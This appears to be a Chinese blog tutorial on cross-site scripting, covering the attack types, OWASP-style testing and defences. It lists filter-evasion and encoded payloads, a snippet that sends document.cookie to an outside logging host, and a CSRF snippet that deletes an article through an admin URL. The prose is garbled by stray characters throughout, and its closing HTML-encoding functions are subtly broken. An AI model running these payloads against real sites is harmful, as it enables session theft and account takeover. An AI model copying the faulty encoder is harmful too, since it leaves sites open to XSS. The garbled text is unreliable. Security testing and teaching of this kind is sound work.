XSS 跨站腳本攻擊

  • 什么是XSS

    ** 綜述
    Cross-Site Scripting(XSS)是一類(lèi)注入問(wèn)題,惡意腳本被注入到健康的、可信任的網(wǎng)站旋廷。當(dāng)一個(gè)攻擊者通過(guò)一個(gè)網(wǎng)站應(yīng)用程序京郑,
    以瀏覽器端腳本的形式,給另一端的用戶發(fā)送惡意代碼時(shí)瀑构,XSS攻擊就發(fā)生了裆针。允許這種攻擊成功的缺陷廣泛存在于各個(gè)大小網(wǎng)站,
    只要這個(gè)網(wǎng)站某個(gè)頁(yè)面將用戶的輸入包含在它生成的動(dòng)態(tài)輸出頁(yè)面中并且未經(jīng)驗(yàn)證或編碼轉(zhuǎn)義寺晌,這個(gè)缺陷就存在世吨。
    攻擊者使用XSS發(fā)送惡意腳本給一個(gè)不持懷疑態(tài)度的用戶,用戶端的瀏覽器沒(méi)法知道腳本可不可信呻征,從而執(zhí)行該js腳本耘婚。因?yàn)闉g覽器
    認(rèn)為該腳本來(lái)自于一個(gè)可信賴(lài)的網(wǎng)站,導(dǎo)致惡意腳本可以訪問(wèn)任何cookies信息陆赋、會(huì)話令牌沐祷、或者其他由瀏覽器保存的但由那個(gè)網(wǎng)站
    使用的敏感信息,甚至可以修改當(dāng)前網(wǎng)頁(yè)內(nèi)容奏甫。
    存儲(chǔ)型XSS:存儲(chǔ)在數(shù)據(jù)庫(kù)戈轿,是永久的,除非數(shù)據(jù)庫(kù)被重置或者惡意語(yǔ)句被人工刪除阵子。攻擊者引導(dǎo)用戶到一個(gè)特定的頁(yè)面思杯。
    反射型XSS:惡意腳本沒(méi)有存儲(chǔ)在遠(yuǎn)端的網(wǎng)站應(yīng)用中,需要社會(huì)工程學(xué)配合,比如通過(guò)郵件或聊天軟件發(fā)送鏈接色乾。主要用來(lái)竊取cookie誊册。

    ** 跨站腳本發(fā)生在什么時(shí)候?
    - 數(shù)據(jù)通過(guò)一個(gè)不可信的源暖璧,大多數(shù)時(shí)是一個(gè)頁(yè)面請(qǐng)求案怯,進(jìn)入網(wǎng)站應(yīng)用。
    - 數(shù)據(jù)未經(jīng)驗(yàn)證是否含有惡意內(nèi)容澎办,就包含在動(dòng)態(tài)內(nèi)容中發(fā)送給網(wǎng)站用戶嘲碱。
    發(fā)送到瀏覽器的惡意內(nèi)容通常以一段js腳本的形式存在,但也可能是html局蚀、flash或者任何其他可能被瀏覽器執(zhí)行的代碼麦锯。基于xss的攻擊是
    多樣化沒(méi)有限制的琅绅,常見(jiàn)的有傳輸私密數(shù)據(jù)扶欣,像cookies或其他會(huì)話信息,對(duì)攻擊者而言千扶,重定向或引誘受害者到由攻擊者所控制的頁(yè)面料祠,或者
    偽裝成可信賴(lài)網(wǎng)站,直接在用戶機(jī)器上執(zhí)行惡意操作澎羞。

    ** 分類(lèi)
    XSS攻擊通常被分為兩類(lèi):存儲(chǔ)型和反射型髓绽。還有第三類(lèi),不那么知名的煤痕,基于DOM的xss梧宫。

    -   存儲(chǔ)型
        注入的腳本被永久的存儲(chǔ)在了目標(biāo)服務(wù)器中,比如數(shù)據(jù)庫(kù)摆碉、論壇帖子塘匣、訪問(wèn)日志、留言評(píng)論等巷帝。受害者向服務(wù)器請(qǐng)求獲取存儲(chǔ)的信息時(shí)忌卤,
        就獲得了這些惡意腳本。存儲(chǔ)型XSS也被稱(chēng)為持久型或I-型XSS楞泼。
    
    -   反射型
        注入腳本從網(wǎng)站服務(wù)器被反彈回來(lái)驰徊,比如錯(cuò)誤消息、搜索結(jié)果堕阔、或者任何其他響應(yīng)(這些響應(yīng)完全或部分包含了用戶在瀏覽器輸入的內(nèi)容)棍厂。
        反射型攻擊通過(guò)其他途徑傳遞到受害者,比如郵件超陆、或其他網(wǎng)站牺弹。當(dāng)用戶被引誘點(diǎn)擊惡意鏈接,提交一個(gè)特別構(gòu)造的表單、或?yàn)g覽一個(gè)惡意
        站點(diǎn)张漂,注入腳本傳送到了脆弱站點(diǎn)并反射給用戶的瀏覽器晶默,瀏覽器認(rèn)為該鏈接來(lái)自一個(gè)可信的服務(wù)器就執(zhí)行了它。反射型XSS也稱(chēng)為非持久型
        或II-型XSS航攒。
     
    -   DOM型
        DOM型XSS又稱(chēng)0-型xss磺陡。攻擊者提交的惡意數(shù)據(jù)并未顯式的包含在web服務(wù)器的響應(yīng)頁(yè)面中,但會(huì)被頁(yè)面中的js腳本以變量的形式來(lái)訪問(wèn)到漠畜,
        導(dǎo)致瀏覽器在渲染頁(yè)面執(zhí)行js腳本的過(guò)程中币他,通過(guò)DOM操作執(zhí)行了變量所代表的惡意腳本。這種也被歸類(lèi)為‘client-side xss’盆驹。
        前兩類(lèi)xss攻擊中圆丹,服務(wù)器的響應(yīng)頁(yè)面中顯式的包含了惡意內(nèi)容,被歸類(lèi)為‘server-side xss’躯喇。
    

    ** 攻擊后果
    無(wú)論是存儲(chǔ)型、反射型還是DOM型硝枉,攻擊后果都是相同的廉丽。不同點(diǎn)在于payload到達(dá)服務(wù)器的方式。不要愚蠢的認(rèn)為一個(gè)只讀的站點(diǎn)對(duì)反射型xss
    是免疫的妻味。xss會(huì)引起一系列的問(wèn)題正压,嚴(yán)重程度從噪音干擾到完全的賬戶危害。大多數(shù)嚴(yán)重的xss攻擊涉及用戶回話cookie泄露责球,允許攻擊者劫持
    用戶的會(huì)話從而接管賬戶焦履。其他破壞性攻擊包括終端用戶文件泄露、特洛伊木馬安裝雏逾、重定向用戶到其他頁(yè)面或站點(diǎn)嘉裤、或修改頁(yè)面內(nèi)容。xss弱點(diǎn)
    引起的新聞稿或新聞條目被修改會(huì)影響公司股價(jià)或削弱消費(fèi)者信心栖博。一個(gè)醫(yī)藥站點(diǎn)的xss缺陷允許攻擊者修改劑量信息導(dǎo)致用藥過(guò)量屑宠。

    ** 如何判斷網(wǎng)站是否脆弱
    網(wǎng)站應(yīng)用中的xss缺陷是難以識(shí)別和移除的。最好的檢測(cè)和發(fā)現(xiàn)缺陷的方法就是進(jìn)行代碼的安全審計(jì)仇让,搜索所有可能的接收用戶數(shù)據(jù)輸入的地方典奉,
    并且輸入的數(shù)據(jù)會(huì)顯示在網(wǎng)站服務(wù)器響應(yīng)的頁(yè)面中。請(qǐng)注意丧叽,各種不同的HTML標(biāo)簽可以用來(lái)傳輸惡意腳本卫玖。Nessus、Nikto等工具可以幫助我們
    掃面網(wǎng)站的xss缺陷踊淳,但是不夠周祥和深刻假瞬。如果網(wǎng)站某一部分是可以入侵的,那么其他問(wèn)題也存在的可能性就很高。

    ** xss防御
    - 防御手冊(cè) https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
    - 自動(dòng)檢測(cè)dom缺陷的chrome插件 http://code.google.com/p/domsnitch/

    ** 反射型xss測(cè)試
    *** 概要
    反射型注入攻擊發(fā)生在用戶打開(kāi)一個(gè)惡意構(gòu)造的鏈接或第三方網(wǎng)頁(yè)笨触,攻擊字符串包含在構(gòu)造的url中或者是http參數(shù)中懦傍,web應(yīng)用沒(méi)有
    適當(dāng)?shù)奶幚聿⒎祷亟o受害者。
    反射型的攻擊負(fù)載通過(guò)單一的請(qǐng)求和響應(yīng)被傳遞和執(zhí)行芦劣。如果一個(gè)網(wǎng)站存在xss缺陷粗俱,它會(huì)將請(qǐng)求中附帶的參數(shù)不經(jīng)驗(yàn)證的回傳給客戶端。
    這種攻擊最常見(jiàn)的做法分兩步:設(shè)計(jì)虚吟,攻擊者創(chuàng)建和測(cè)試構(gòu)造的惡意鏈接寸认;社會(huì)工程學(xué),確信受害者會(huì)通過(guò)瀏覽器加載這個(gè)url并最終執(zhí)行串慰。
    通常偏塞,攻擊代碼使用js編寫(xiě),但其他語(yǔ)言比如action script邦鲫、vb script等也會(huì)用到灸叼。攻擊者可以安裝鍵盤(pán)記錄器、竊取cookies庆捺、粘貼板古今、
    改變頁(yè)面內(nèi)容(比如下載鏈接)。
    預(yù)防xss漏洞的主要難點(diǎn)之一是合適的字符編碼滔以。一些情況下捉腥,web服務(wù)器不能過(guò)濾某些字符編碼,比如可以過(guò)濾‘<script>’你画,但是無(wú)法
    過(guò)濾%3cscript%3e抵碟。

    *** 如何測(cè)試
    **** 黑盒測(cè)試
    黑盒測(cè)試至少包含3個(gè)階段:
    - 1、探測(cè)輸入向量坏匪。每一個(gè)網(wǎng)頁(yè)拟逮,測(cè)試者必須判定網(wǎng)站應(yīng)用定義了哪些變量、如何輸入他們剥槐。這些變量也包含隱藏的或非顯式的輸入唱歧,比如
    http參數(shù)、post數(shù)據(jù)粒竖、隱藏的表單字段颅崩、預(yù)定義的單選鈕或復(fù)選框的值。瀏覽器內(nèi)置的HTML編輯器或web代理可以用來(lái)審查這些隱藏的變量蕊苗。
    - 2沿后、分析每個(gè)輸入向量去檢測(cè)潛在的漏洞。為了檢測(cè)潛在xss漏洞朽砰,測(cè)試者應(yīng)為每個(gè)輸入向量構(gòu)造特別的填充數(shù)據(jù)尖滚。測(cè)試數(shù)據(jù)可以通過(guò)模糊測(cè)試
    工具生成喉刘,自動(dòng)生成預(yù)定義的攻擊字符串列表,或者人工漆弄。逃避xss過(guò)濾的攻擊列表睦裳。
    - 3、對(duì)每個(gè)嘗試過(guò)的輸入撼唾,測(cè)試者根據(jù)反饋?lái)?yè)面判定是否它代表一個(gè)漏洞并對(duì)網(wǎng)站安全構(gòu)成實(shí)際威脅廉邑。這個(gè)需要檢查結(jié)果頁(yè)面并搜尋輸入的
    數(shù)據(jù)。一旦找到倒谷,測(cè)試者就可識(shí)別出那些特別的未經(jīng)編碼蛛蒙、替換、過(guò)濾的數(shù)據(jù)渤愁。理想情況下牵祟,所有的HTML關(guān)鍵字都需要經(jīng)過(guò)html實(shí)體編碼。
    做關(guān)鍵的幾個(gè)需要編碼的字符是:{< > & ' "}抖格。

****    XSS過(guò)濾繞過(guò)
請(qǐng)參考 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet诺苹。
        當(dāng)網(wǎng)站應(yīng)用清理輸入、網(wǎng)站應(yīng)用防火墻或?yàn)g覽器內(nèi)置的機(jī)制阻止惡意輸入時(shí)雹拄,反射型xss就會(huì)被阻攔筝尾。但是測(cè)試者必須假定瀏覽器不會(huì)
阻攔這類(lèi)攻擊,比如版本陳舊办桨、內(nèi)置安全功能被禁用等,并測(cè)試所有可能的漏洞站辉。類(lèi)似的呢撞,網(wǎng)站防火墻不能保證識(shí)別新奇的、未知的攻擊饰剥。
攻擊者能構(gòu)造防火墻無(wú)法識(shí)別的攻擊字符串殊霞。
        因此,防御xss攻擊主要依賴(lài)網(wǎng)站應(yīng)用清理不可信任的用戶輸入汰蓉。有幾種清理辦法绷蹲,比如返回錯(cuò)誤、過(guò)濾或轉(zhuǎn)義關(guān)鍵字顾孽。同時(shí)這些預(yù)防手段
也造就了另外一個(gè)弱點(diǎn):黑名單不可能囊括所有可能的攻擊字符串祝钢、白名單可能過(guò)渡授權(quán),這時(shí)清理就會(huì)失敗若厚,導(dǎo)致某類(lèi)輸入被不正確的信任
并未被清理拦英。

****    攻擊測(cè)試的例子
    -   http://example.com/index.php?user=<script>alert(123)</script>
    -   http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
        AllLinks[0].; }</script>
    -   標(biāo)簽屬性值
        <input type="text" name="state" value="INPUT_FROM_USER">
        " onfocus="alert(document.cookie)
    -   不同的語(yǔ)法或編碼
        "><ScRiPt>alert(document.cookie)</ScRiPt>
            "%3cscript%3ealert(document.cookie)%3c/script%3e
    -   非遞歸性過(guò)濾
        <scr<script>ipt>alert(document.cookie)</script>
    -   繞過(guò)正則過(guò)濾
        模式串 $re = "/<script[^>]+src/i";
        添加額外的屬性,繞過(guò)  http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
    -   HTTP parameter pollution
        https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)
        http參數(shù)污染测秸,查詢(xún)字符串或表單提交的參數(shù)中某個(gè)同名參數(shù)出現(xiàn)了多次疤估,apache等web服務(wù)器解析協(xié)議參數(shù)時(shí)的方式各異灾常,
        網(wǎng)站應(yīng)用程序的各個(gè)組件所使用的參數(shù)值不一致。


**  存儲(chǔ)型XSS測(cè)試
*** 概述
        存儲(chǔ)型XSS是最危險(xiǎn)的跨站腳本攻擊铃拇。網(wǎng)站應(yīng)用程序允許用戶存儲(chǔ)數(shù)據(jù)钞瀑,這類(lèi)網(wǎng)站就潛在的暴露在這類(lèi)攻擊面前。
當(dāng)網(wǎng)站應(yīng)用從用戶那里搜集輸入的數(shù)據(jù)慷荔,然后存儲(chǔ)起來(lái)以備后用雕什,但這些輸入沒(méi)有經(jīng)過(guò)正確的過(guò)濾,結(jié)果惡意數(shù)據(jù)被做為網(wǎng)站
頁(yè)面的一部分得以呈現(xiàn)拧廊,并運(yùn)行在用戶瀏覽器中且擁有網(wǎng)站應(yīng)用程序所屬用戶的權(quán)限监徘。
        這種漏洞可以被用來(lái)實(shí)施基于瀏覽器的攻擊:
            -   劫持用戶瀏覽器
            -   捕獲用戶所瀏覽的網(wǎng)站敏感信息
            -   對(duì)內(nèi)網(wǎng)主機(jī)進(jìn)行端口掃描
            -   基于瀏覽器利用的定向投遞
        存儲(chǔ)型xss不需要利用惡意鏈接,用戶訪問(wèn)某個(gè)加載了之前存儲(chǔ)的xss代碼的頁(yè)面時(shí)就會(huì)觸發(fā)吧碾。攻擊場(chǎng)景一般有下面幾個(gè)階段:
            -   攻擊者存儲(chǔ)惡意代碼到由漏洞的頁(yè)面
            -   用戶通過(guò)應(yīng)用程序的身份認(rèn)證
            -   用戶訪問(wèn)漏洞頁(yè)面
            -   惡意代碼被用戶的瀏覽器執(zhí)行
        這類(lèi)攻擊可以結(jié)合瀏覽器利用框架比如beef凰盔、xss prox、backframe倦春。這些框架允許復(fù)雜的腳本利用開(kāi)發(fā)户敬。
        當(dāng)訪問(wèn)漏洞頁(yè)面的用戶有比較高的權(quán)限時(shí),這類(lèi)攻擊特別危險(xiǎn)睁本。比如當(dāng)管理員訪問(wèn)漏洞頁(yè)面時(shí)尿庐,這類(lèi)攻擊就自動(dòng)被瀏覽器執(zhí)行。
這就可能暴露敏感信息比如會(huì)話令牌呢堰。


*** 如何測(cè)試
****    黑盒測(cè)試
        識(shí)別存儲(chǔ)型漏洞的過(guò)程和之前測(cè)試反射型漏洞類(lèi)似抄瑟。
 
*****   輸入表單
    第一步是找出哪些地方的用戶輸入會(huì)被存儲(chǔ)到后端并會(huì)被渲染顯示在前端。典型的存儲(chǔ)用戶輸入的地方有:
        -   用戶|配置枉疼,網(wǎng)站應(yīng)用允許用戶修改個(gè)人配置詳細(xì)信息皮假,比如姓名、昵稱(chēng)骂维、頭像惹资、地址等;
        -   購(gòu)物籃航闺,
        -   文件管理器褪测,應(yīng)用程序允許文件上傳
        -   應(yīng)用程序偏好設(shè)置
        -   論壇|消息面板,允許用戶之間互相發(fā)送消息
        -   博客潦刃,允許用戶留言評(píng)論
        -   日志侮措,如果網(wǎng)站應(yīng)用將某些用戶的輸入存進(jìn)日志

*****   分析HTML代碼
    用戶輸入被網(wǎng)站應(yīng)用存儲(chǔ)后,一般會(huì)在顯示時(shí)當(dāng)做html標(biāo)簽的屬性值福铅。這一步中萝毛,最根本的是去理解輸入部分被渲染顯示時(shí),
在頁(yè)面上下文中是怎么被安放的滑黔。所有可能被管理員看到的輸入部分都需要被測(cè)試笆包。
比如环揽,后臺(tái)用戶管理中某個(gè)用戶的詳細(xì)信息,有郵件:
    <input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />
這時(shí)庵佣,可以在<input>標(biāo)簽后面注入惡意代碼:
    <input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />

*****   試驗(yàn)是否可以注入
    這就涉及輸入驗(yàn)證歉胶、后端的過(guò)濾規(guī)則。比如注入:
        aaa@aa.com"><script>alert(document.cookie)</script>
        aa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
    為了保證注入的數(shù)據(jù)被提交巴粪,通常需要暫時(shí)禁用瀏覽器的js代碼執(zhí)行通今、或在本地代理的http編輯器中修改請(qǐng)求的原始數(shù)據(jù)。
    但是提交后肛根,可能被網(wǎng)站應(yīng)用程序過(guò)濾辫塌,比如script被替換成了空格或者空串,這就是一個(gè)潛在的過(guò)濾信號(hào)派哲,當(dāng)然有很多規(guī)避
    過(guò)濾的技術(shù)臼氨。
 
*****   利用存儲(chǔ)的注入代碼
    存儲(chǔ)的惡意代碼可以被高級(jí)js利用框架利用,比如beef芭届、xss-proxy储矩、backframe。
    一個(gè)典型的beef利用場(chǎng)景涉及:
        -   注入一段js鉤子代碼褂乍,可以與攻擊者的瀏覽器利用框架通信
        -   等待網(wǎng)站用戶訪問(wèn)漏洞頁(yè)面
        -   通過(guò)beef控制臺(tái)控制網(wǎng)站用戶的瀏覽器
    beef可以訪問(wèn)用戶的cookies持隧、屏幕截圖、剪貼板逃片、以及發(fā)起更復(fù)雜的xss攻擊屡拨。如果這個(gè)漏洞頁(yè)面會(huì)被擁有不同權(quán)限的用戶訪問(wèn),
    那么這個(gè)攻擊是相當(dāng)有效的褥实。

*****   文件上傳
    如果網(wǎng)站應(yīng)用允許文件上傳洁仗,需要檢測(cè)下是否可以上傳html內(nèi)容。如果html或txt文件被允許性锭,那么xss負(fù)載就可以被注入。
滲透測(cè)試人員應(yīng)該驗(yàn)證是否這個(gè)上傳點(diǎn)允許設(shè)置任意的MIME類(lèi)型叫胖。這個(gè)設(shè)計(jì)缺陷允許瀏覽器的MIME誤處理攻擊草冈。比如,看起來(lái)無(wú)害的
JPG和GIF文件包含xss負(fù)載瓮增,可能在被瀏覽器載入的時(shí)候得到執(zhí)行怎棱。這個(gè)是可能的,當(dāng)本應(yīng)設(shè)置MIME為image/gif時(shí)卻設(shè)置為text/html绷跑。
這種情況下拳恋,文件被客戶端瀏覽器創(chuàng)建為HTML。
    偽造POST請(qǐng)求:
        Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
        Content-Type: text/html

        <script>alert(document.cookie)</script>
 
**  DOM型XSS測(cè)試
*** 概述
    DOM型跨站腳本事實(shí)上是瀏覽器端的動(dòng)態(tài)內(nèi)容所引起的xss bug砸捏。典型的谬运,比如js隙赁,獲取用戶輸入并用它做了一些不安全的事情導(dǎo)致注入代碼
被執(zhí)行。本文只是討論 js bug 所引起的xss漏洞梆暖。
    DOM伞访,全稱(chēng)為Document Object Model,是一種結(jié)構(gòu)化的格式轰驳,被用來(lái)表達(dá)瀏覽器中的文檔厚掷。DOM允許動(dòng)態(tài)腳本,比如js级解,來(lái)引用文檔中的
組件冒黑,比如表單字段、或會(huì)話令牌勤哗。DOM也被瀏覽器來(lái)實(shí)現(xiàn)安全策略抡爹,比如同源策略限制跨域DOM操作。當(dāng)動(dòng)態(tài)內(nèi)容俺陋,比如js函數(shù)被一個(gè)構(gòu)造的
請(qǐng)求修改豁延,dom元素可以被攻擊者控制,從而形成xss漏洞腊状。
    很少有這方面的論文發(fā)表诱咏,因此它的含義和正規(guī)測(cè)試方法幾乎沒(méi)有標(biāo)準(zhǔn)的定義。
 
*** 如何測(cè)試
    不是所有的xss bug都需要攻擊者去控制從服務(wù)器返回的動(dòng)態(tài)頁(yè)面缴挖,但是泛濫的愚蠢的js編碼會(huì)導(dǎo)致同樣的結(jié)果袋狞。
    與其他類(lèi)型的xss漏洞(服務(wù)器未清理用戶提交的參數(shù),回傳給用戶瀏覽器端并得到執(zhí)行)相比映屋,dom-xss 可以控制代碼的執(zhí)行流程苟鸯。
    大多數(shù)情況下,dom-xss可以在服務(wù)端不知情的情況下執(zhí)行棚点。比如:
        <script>
            document.write("Site is at: " + document.location.href + ".");
        </script>
攻擊者追加#<script>alert('xss')</script>到頁(yè)面的url后面早处,當(dāng)執(zhí)行時(shí)會(huì)彈窗。這個(gè)例子中瘫析,追加的代碼不會(huì)被發(fā)送到服務(wù)端砌梆,因?yàn)?
后面的字符串根本沒(méi)有被瀏覽器當(dāng)做查詢(xún)字符串的一部分,而是作為一個(gè)錨標(biāo)記贬循,因而無(wú)需和服務(wù)器取得聯(lián)系咸包。
    dom-xss的攻擊后果和其他更知名的xss攻擊一樣廣泛,cookies獲取杖虾、更進(jìn)一步的惡意腳本注入烂瘫,所以應(yīng)該被劃分到同樣的嚴(yán)重等級(jí)。
 
****    黑盒測(cè)試
    dom-xss的黑盒測(cè)試是不必要的奇适,因?yàn)榍岸说脑创a總是可見(jiàn)的坟比,瀏覽器需要從服務(wù)端那獲取并執(zhí)行芦鳍。
 
****    灰盒測(cè)試
    js應(yīng)用程序和其他的應(yīng)用程序有顯著的區(qū)別,因?yàn)樗麄兪怯煞?wù)端動(dòng)態(tài)產(chǎn)生的温算,為了理解什么代碼正在被執(zhí)行怜校,測(cè)試者需要爬行站點(diǎn)來(lái)
判定正在被執(zhí)行的腳本和哪些地方是接收用戶輸入的。許多站點(diǎn)依賴(lài)大量的庫(kù)函數(shù)注竿,伸展開(kāi)后有成百上千行代碼并且不是內(nèi)部開(kāi)發(fā)的茄茁。這種
情況下,自頂向下的測(cè)試常常是唯一可行的選擇巩割,因?yàn)樵S多底層的函數(shù)從沒(méi)用到過(guò)裙顽,從中分析哪些是弱點(diǎn)耗費(fèi)太多時(shí)間。對(duì)于自頂向下測(cè)試宣谈,
是否能識(shí)別哪些地方接收用戶輸入同樣至關(guān)重要愈犹。
    用戶輸入來(lái)源有兩種形式:
        -   服務(wù)端動(dòng)態(tài)寫(xiě)入,不允許直接的xss
        -   客戶端腳本對(duì)象中獲取的變量
    下面是服務(wù)端插入數(shù)據(jù)到j(luò)s腳本中的兩個(gè)例子:
        var data = "<escaped data from the server>";
        var result = someFunction("<escaped data from the server>");
    下面是從客戶端js對(duì)象中獲取輸入的兩個(gè)例子:
        var data = window.location;
        var result = someFunction(window.referer);
    對(duì)于js代碼來(lái)說(shuō)闻丑,兩種獲取輸入的方式基本沒(méi)有差異漩怎,重要的是當(dāng)從服務(wù)端獲取輸入時(shí),服務(wù)端能對(duì)數(shù)據(jù)應(yīng)用任何的排列組合嗦嗡,
然而js對(duì)象中獲取的輸入?yún)s很好理解勋锤。所以,如果上例中的js函數(shù)是弱點(diǎn)的話侥祭,前例中的漏洞利用依賴(lài)服務(wù)端的過(guò)濾叁执,后例中的
利用依賴(lài)于瀏覽器對(duì)window.referer對(duì)象的編碼。 參考 https://code.google.com/p/domxsswiki/wiki/LocationSources
    另外矮冬,js腳本也常常會(huì)在script標(biāo)簽外部執(zhí)行谈宛,過(guò)去許多的攻擊向量都導(dǎo)致了xss攻擊已經(jīng)證實(shí)了這一點(diǎn)。所以胎署,在爬行站點(diǎn)時(shí)吆录,
留意諸如‘事件處理器’、‘帶有expression屬性的css語(yǔ)句塊’等這些地方的代碼是很重要的琼牧。
    自動(dòng)化測(cè)試在識(shí)別和驗(yàn)證dom-xss漏洞時(shí)是很弱的径筏,因?yàn)樗麅H僅是發(fā)送特定的負(fù)載并嘗試審查服務(wù)器響應(yīng)的頁(yè)面。這個(gè)可能在一些
簡(jiǎn)單的例子中工作得比較好障陶,比如那些參數(shù)被反射回給用戶的情況:
        <script>
            var pos=document.URL.indexOf("message=")+5;
            document.write(document.URL.substring(pos,document.URL.length));
        </script>
但是下面不自然的例子無(wú)法被檢測(cè)到:
        <script>
            var navAgt = navigator.userAgent;
  
            if (navAgt.indexOf("MSIE")!=-1) {
                document.write("You are using IE as a browser and visiting site: " + document.location.href + ".");
            }
            else
            {
                document.write("You are using an unknown browser.");
            }
        </script>
    基于這樣的原因,自動(dòng)化測(cè)試通常無(wú)法檢測(cè)dom-xss漏洞聊训,除非測(cè)試工具能對(duì)客戶端腳本執(zhí)行額外的分析抱究。
    人工測(cè)試應(yīng)該進(jìn)行,檢查某些代碼區(qū)域带斑,那些區(qū)域中的參數(shù)對(duì)攻擊者而言是有用的鼓寺。比如勋拟,代碼被動(dòng)態(tài)寫(xiě)到頁(yè)面、dom樹(shù)被修改妈候、
甚至腳本被直接執(zhí)行敢靡。參考 http://www.webappsec.org/projects/articles/071105.shtml
  • 可以往數(shù)據(jù)庫(kù)中寫(xiě)入數(shù)據(jù),如果能找到用戶評(píng)論或反饋表苦银,那就足夠了
    • 將html和js代碼當(dāng)做字符串啸胧,使用十六進(jìn)制編碼,然后在sql注入點(diǎn)使用insert插入到該表幔虏。

      在被攻擊頁(yè)面插入如下js即可纺念。
      var img=document.createElement("img");
      img.src="http://yourweb.com/listen?"+escape(document.cookie);
      document.body.appendChild(img);
      然后在web日志中可查看竊取的cookie信息

      如果,想讓某人刪除某篇文章想括,那么只需要讓某人執(zhí)行(CSRF)
      var img=document.createElement("img");
      img.src="http://www.myhack58.com/max/admin/admin_news.asp?action=del&id=8";(找到刪除文章的url替換之)
      document.body.appendChild(img);

  • XSS攻擊試探
    ** 沒(méi)有任何過(guò)濾
    <script>alert('xss')</script>
    ** 過(guò)濾關(guān)鍵字script陷谱,但大小寫(xiě)不敏感
    <ScripT>alert('xss')</ScripT>
    ** 過(guò)濾了模式串<script,而且大小寫(xiě)敏感
    <img src='xx' onerror=alert('xss')>
    ** 進(jìn)行了html編碼
    沒(méi)得玩I凇Q萄贰!

  • 常見(jiàn)XSS攻擊代碼
    ** 錨標(biāo)記一句話執(zhí)行
    <script>eval(location.hash.substring(1))</script></br>
    ** 續(xù)行铺根、冒號(hào)進(jìn)行html編碼
    <a href="javasc
    ript:alert(1)">click</a> </br>
    ** img標(biāo)簽帶上事件
    <IMG “”><SCRIPT>alert('bask-slash no change to run')</SCRIPT>”></br>
    <IMG “”><SCRIPT>alert('img1')</SCRIPT>”></br>
    <IMG “”"><SCRIPT>alert('img2')</SCRIPT>”></br>
    <IMG “”><SCRIPT>alert('img3')</SCRIPT>></br>
    - js的unicode編碼宪躯,html十進(jìn)制、十六進(jìn)制編碼
    <img src="x" onerror="\u0061\u006c\u0065\u0072\u0074('js-unicode-encoded')"></br>
    <img src="x" onerror="alert(1)"></br>
    <img src="x" onerror="&#x61&#x6c&#x65&#x72&#x74&#x28&#x27&#x68&#x74&#x6d&#x6c&#x7f16&#x7801&#x27&#x29"></br>
    <script>\u0061\u006c\u0065\u0072\u0074('js-unicode-encoded1111')</script>
    ** data中對(duì)網(wǎng)頁(yè)內(nèi)容進(jìn)行base64編碼夷都,比如 <img src=x onerror=alert('base64')>
    <a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KCdiYXNlNjQnKT4=">test</a></br>

    ** js8進(jìn)制眷唉、16進(jìn)制編碼字符串變量
    比如 "<img src="x" onerror="alert(1)"></br>"
    document.body.innerHTML='\x61\x6c\x65\x72\x74\x28\x27\x6a\x73\x31\x36\x8fdb\x5236\x27\x29';
    document.body.innerHTML=’\74\151\155\147\40\163\162\143\75\42\170\42\40\157\156\145\162\162\157\162\75\42\141\154\145\162\164\50\61\51\42\76\74\57\142\162\76‘;

抵御XSS

thinkphp框架中有表單提交數(shù)據(jù)的過(guò)濾囤官,默認(rèn)采用html實(shí)體編碼進(jìn)行轉(zhuǎn)義冬阳,就是所謂的I函數(shù)。

瀏覽器解釋器詞法分析遇到轉(zhuǎn)義的字符党饮,就認(rèn)為他是不可執(zhí)行的肝陪,然后接著去反轉(zhuǎn)義,接著當(dāng)做數(shù)據(jù)去顯示刑顺,沒(méi)有當(dāng)做js代碼去執(zhí)行氯窍。再解釋一次就可以得到執(zhí)行。
比如:在firebug中用元素審查蹲堂,隨便加個(gè)空格

post表單提交的漢字的傳輸編碼由<meta charset>指定狼讨,
>>> print '%r' % u'你'.encode('utf8')
'\xe4\xbd\xa0'
傳輸中為%e4%bd%a0

不過(guò)地址欄附加的url參數(shù),漢字默認(rèn)為gbk編碼柒竞,這里為%c4%e3政供,比如你在百度搜索框輸入"你被入侵了",然后查看地址欄url參數(shù)。
>>> print '%r' % u'你'.encode('gbk')
'\xc4\xe3'

抵御XSS攻擊布隔,只需做到兩點(diǎn):
1离陶、所有前端的頁(yè)面渲染,盡量使用ajax異步進(jìn)行衅檀,從后臺(tái)獲取要顯示的數(shù)據(jù)招刨。
2、前端提交過(guò)來(lái)的數(shù)據(jù)哀军,在后臺(tái)入口處統(tǒng)統(tǒng)對(duì)HTML中的關(guān)鍵字進(jìn)行html編碼轉(zhuǎn)義沉眶。
做到上面方可基本無(wú)憂。

  /* 1.用正則表達(dá)式實(shí)現(xiàn)html轉(zhuǎn)碼 */
  htmlEncodeByRegExp(str) {
    let s = '';
    if (str.length === 0) return '';
    s = s.replace(/</g, '&lt;');
    s = s.replace(/>/g, '&gt;');
    s = str.replace(/&/g, '&amp;');
    s = s.replace(/ /g, '&nbsp;');
    s = s.replace(/\'/g, '&#39;'); //eslint-disable-line
    s = s.replace(/\"/g, '&quot;'); //eslint-disable-line
    return s;
  },
  /* 2.用正則表達(dá)式實(shí)現(xiàn)html解碼 */
  htmlDecodeByRegExp(str) {
    let s = '';
    if (str.length === 0) return '';
    s = s.replace(/&lt;/g, '<');
    s = s.replace(/&gt;/g, '>');
    s = str.replace(/&amp;/g, '&');
    s = s.replace(/&nbsp;/g, ' ');
    s = s.replace(/&#39;/g, "\'"); //eslint-disable-line
    s = s.replace(/&quot;/g, '"'); //eslint-disable-line
    return s;
  },

可使用 he 組件 來(lái)進(jìn)行轉(zhuǎn)碼
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
